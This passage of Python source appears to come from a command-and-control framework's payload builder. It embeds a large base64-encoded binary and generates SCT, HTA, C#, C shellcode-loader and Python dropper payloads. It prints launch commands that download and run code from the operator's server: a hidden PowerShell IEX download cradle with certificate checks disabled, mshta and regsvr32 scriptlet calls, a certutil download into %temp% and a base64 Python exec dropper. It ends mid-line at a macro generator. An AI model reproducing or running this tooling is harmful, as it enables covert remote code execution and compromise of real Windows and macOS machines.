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AAAAAAAAAAAAQEAAAeBAAAGBcAQCAEAAADhEAAGxcAQAQEQAADRIAAIBcAQAQEgAAchIAAJhcAQB0EgAAYxgAAKRcAQBkGAAAXxoAAKBdAQB4GgAAjxoAAGheAQCQGgAAvxoAAFhlAQDAGgAAaBwAAHBeAQBwHAAAqBwAAMheAQCoHAAAwxwAANReAQDDHAAA0RwAAOheAQDgHAAAFh0AAMheAQAWHQAAMR0AAKReAQAxHQAAPx0AALheAQBAHQAARB0AAGheAQBEHQAAZx0AAPheAQBnHQAAgh0AABBfAQCCHQAAlR0AACRfAQCVHQAApR0AADRfAQCwHQAAth0AAERfAQC2HQAAwh0AAExfAQDCHQAA2x0AAGBfAQDbHQAA9h0AAHRfAQD2HQAABB4AAIhfAQAEHgAAFR4AAJhfAQAVHgAAKx4AAKhfAQAwHgAAWB4AAKhgAQBwHgAAkR4AALhfAQCUHgAA0B4AAKBgAQDYHgAAKB8AAGheAQAoHwAAOyAAALxfAQA8IAAAyCAAAOhfAQDIIAAAvSEAABBgAQDAIQAAFCIAAJBnAQAUIgAAUSIAAGhmAQBcIgAAlSIAAGheAQCYIgAAzCIAAGheAQDMIgAA4SIAAGheAQDkIgAADCMAAGheAQAMIwAAISMAAGheAQAkIwAAhSMAAJBnAQCIIwAAuCMAAGheAQC4IwAAzCMAAGheAQDMIwAAFSQAAKBgAQAYJAAA9yQAAGhgAQD4JAAAkSUAAEBgAQCUJQAAuCUAAKBgAQC4JQAA4yUAAKBgAQDkJQAAMyYAAKBgAQA0JgAASyYAAGheAQBMJgAA0SYAAExiAQDwJgAAQScAAHhgAQBEJwAAbycAAKBgAQBwJwAApCcAAKBgAQCkJwAAdSgAAMhqAQB4KAAAiygAAGheAQCMKAAAJykAAIBgAQAoKQAAlSkAAIhgAQCYKQAACSoAAJRgAQAUKgAAUyoAAKBgAQB0KgAAsyoAAKBgAQDUKgAACSsAAKBgAQAMKwAALCsAAKhgAQAsKwAATCsAAKhgAQBgKwAADCwAALBgAQA4LAAAUywAAGheAQBkLAAAri0AALxgAQCwLQAA+i0AAGhmAQD8LQAARi4AAGhmAQBMLgAABTAAAMxgAQAcMAAAOTAAAGheAQA8MAAAlzAAAOBgAQCgMAAAEzEAAJBnAQAUMQA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pgKkAAADwAAAYAQAA8KAAoRChGKEgoSihMKE4oUChSKFYoWChaKFwoXihgKGIoZChqKG4ocChyKHQodih4KHoofCh+KEAogiiEKIYoiCiKKIwojiiQKJIolCiWKJgomiicKJ4ohipIKkoqTCpgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0Krgquiq8Kr4qgCrCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisAAAAAAEASAEAAAimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivABABAJAAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikACABANABAABgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK4AUAEAFAAAANil8KX4pVCmWKZopgCAAQBIAAAAAKCoosClCKYopkimaKaIprim0KbYpuCmGKcgp0CoSKhQqFioYKhoqHCoeKiAqIiomKigqKiosKi4qMCoyKjQqADQAQAUAAAAgKuoq8ir8KsYrEisAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATm9uZVww" + self.PatchDll("%sPosh-shellcode_x64.bin" % name, v4_64, v4_64_offset, "Shellcode") + + def CreateSCT(self): + basefile = self.CreateRawBase() + raw1 = """ + + + + + + + + +""" % basefile + + raw2 = """ +""" % basefile + filename = "%srg_sct.xml" % (self.BaseDirectory) + output_file = open(filename, 'w') + output_file.write(raw1) + filename = "%scs_sct.xml" % (self.BaseDirectory) + output_file.close() + output_file = open(filename, 'w') + output_file.write(raw2) + output_file.close() + + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "Execution via Command Prompt"+Colours.GREEN ) + + psuri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_bs" + pscmd = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (new-object system.net.webclient).downloadstring('%s')" % psuri + psurienc = base64.b64encode(pscmd.encode('UTF-16LE')) + uri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_cs" + + self.QuickstartLog( "powershell -exec bypass -Noninteractive -windowstyle hidden -c \"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (new-object system.net.webclient).downloadstring('%s')\"" % psuri ) + self.QuickstartLog( "" ) + self.QuickstartLog( "powershell -exec bypass -Noninteractive -windowstyle hidden -e %s" % psurienc ) + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "Execution via Powershell"+Colours.GREEN ) + self.QuickstartLog( "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (new-object system.net.webclient).downloadstring('%s')" % psuri ) + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "Other Execution Methods"+Colours.GREEN ) + self.QuickstartLog( "mshta.exe vbscript:GetObject(\"script:%s\")(window.close)" % uri ) + self.QuickstartLog( "" ) + uri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_rg" + self.QuickstartLog( "regsvr32 /s /n /u /i:%s scrobj.dll" % uri ) + + def CreateHTA(self): + basefile = self.CreateRawBase(full=True) + hta = """""" % basefile + self.QuickstartLog( "HTA Payload written to: %sLauncher.hta" % self.BaseDirectory ) + filename = "%sLauncher.hta" % (self.BaseDirectory) + output_file = open(filename, 'w') + output_file.write(hta) + output_file.close() + + def CreateCS(self): + basefile = self.CreateRawBase() + with open("%sPosh.cs" % FilesDirectory, 'rb') as f: + content = f.read() + cs = content.replace("#REPLACEME#",basefile) + self.QuickstartLog( "CS Payload written to: %sPosh.cs" % self.BaseDirectory ) + filename = "%sPosh.cs" % (self.BaseDirectory) + output_file = open(filename, 'w') + output_file.write(cs) + output_file.close() + + def CreatePython(self, name=""): + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "OSX Python Payload:"+Colours.GREEN ) + py = base64.b64encode(self.Python) + pydropper = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % py + self.QuickstartLog( pydropper ) + + def CreateEXE(self, name=""): + with open("%s%sPosh-shellcode_x64.bin" % (self.BaseDirectory,name), 'rb') as f: + sc64 = f.read() + hexcode = "".join("\\x{:02x}".format(ord(c)) for c in sc64) + sc64 = formStr("char sc[]",hexcode) + + with open("%sShellcode.c" % FilesDirectory, 'rb') as f: + content = f.read() + ccode = content.replace("#REPLACEME#",sc64) + self.QuickstartLog( "64bit EXE Payload written to: %s%sPosh64.exe" % (self.BaseDirectory,name) ) + filename = "%s%sPosh64.c" % (self.BaseDirectory,name) + output_file = open(filename, 'w') + output_file.write(ccode) + output_file.close() + + with open("%sShellcode_migrate.c" % FilesDirectory, 'rb') as f: + content = f.read() + ccode = content.replace("#REPLACEME#",sc64) + self.QuickstartLog( "64bit EXE Payload written to: %s%sPosh64_migrate.exe" % (self.BaseDirectory,name) ) + filename = "%s%sPosh64_migrate.c" % (self.BaseDirectory,name) + output_file = open(filename, 'w') + output_file.write(ccode) + output_file.close() + + with open("%s%sPosh-shellcode_x86.bin" % (self.BaseDirectory,name), 'rb') as f: + sc32 = f.read() + hexcode = "".join("\\x{:02x}".format(ord(c)) for c in sc32) + sc32 = formStr("char sc[]",hexcode) + + with open("%sShellcode.c" % FilesDirectory, 'rb') as f: + content = f.read() + ccode = content.replace("#REPLACEME#",sc32) + self.QuickstartLog( "32bit EXE Payload written to: %s%sPosh32.exe" % (self.BaseDirectory,name) ) + filename = "%s%sPosh32.c" % (self.BaseDirectory,name) + output_file = open(filename, 'w') + output_file.write(ccode) + output_file.close() + + with open("%sShellcode_migrate.c" % FilesDirectory, 'rb') as f: + content = f.read() + ccode = content.replace("#REPLACEME#",sc32) + self.QuickstartLog( "32bit EXE Payload written to: %s%sPosh32_migrate.exe" % (self.BaseDirectory,name) ) + filename = "%s%sPosh32_migrate.c" % (self.BaseDirectory,name) + output_file = open(filename, 'w') + output_file.write(ccode) + output_file.close() + + try: + uri = self.HostnameIP+":"+self.Serverport+"/"+QuickCommand+"_ex" + filename = randomuri() + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "Download Posh64.exe using certutil:"+Colours.GREEN ) + self.QuickstartLog( "certutil -urlcache -split -f %s %%temp%%\\%s.exe" % (uri,filename) ) + if os.name == 'nt': + compile64 = "C:\\TDM-GCC-64\\bin\\gcc.exe %s%sPosh64.c -o %s%sPosh64.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + compile32 = "C:\\TDM-GCC-32\\bin\\gcc.exe %s%sPosh32.c -o %s%sPosh32.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + else: + compile64 = "x86_64-w64-mingw32-gcc %s%sPosh64.c -o %s%sPosh64.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + compile32 = "i686-w64-mingw32-gcc %s%sPosh32.c -o %s%sPosh32.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + subprocess.check_output(compile64, shell=True) + subprocess.check_output(compile32, shell=True) + + filename = randomuri() + self.QuickstartLog( ""+Colours.END ) + self.QuickstartLog( "Download Posh32.exe using certutil:"+Colours.GREEN ) + self.QuickstartLog( "certutil -urlcache -split -f %s %%temp%%\\%s.exe" % (uri,filename) ) + if os.name == 'nt': + compile64 = "C:\\TDM-GCC-64\\bin\\gcc.exe %s%sPosh64_migrate.c -o %s%sPosh64_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + compile32 = "C:\\TDM-GCC-32\\bin\\gcc.exe %s%sPosh32_migrate.c -o %s%sPosh32_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + else: + compile64 = "x86_64-w64-mingw32-gcc %s%sPosh64_migrate.c -o %s%sPosh64_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + compile32 = "i686-w64-mingw32-gcc %s%sPosh32_migrate.c -o %s%sPosh32_migrate.exe" % (self.BaseDirectory, name, self.BaseDirectory,name) + subprocess.check_output(compile64, shell=True) + subprocess.check_output(compile32, shell=True) + + except Exception as e: + print e + print "apt-get install mingw-w64-tools mingw-w64 mingw-w64-x86-64-dev mingw-w64-i686-dev mingw-w64-common" + + def CreateMacro(self, name=""): + basefile = self.CreateRawBase() + strmacro = 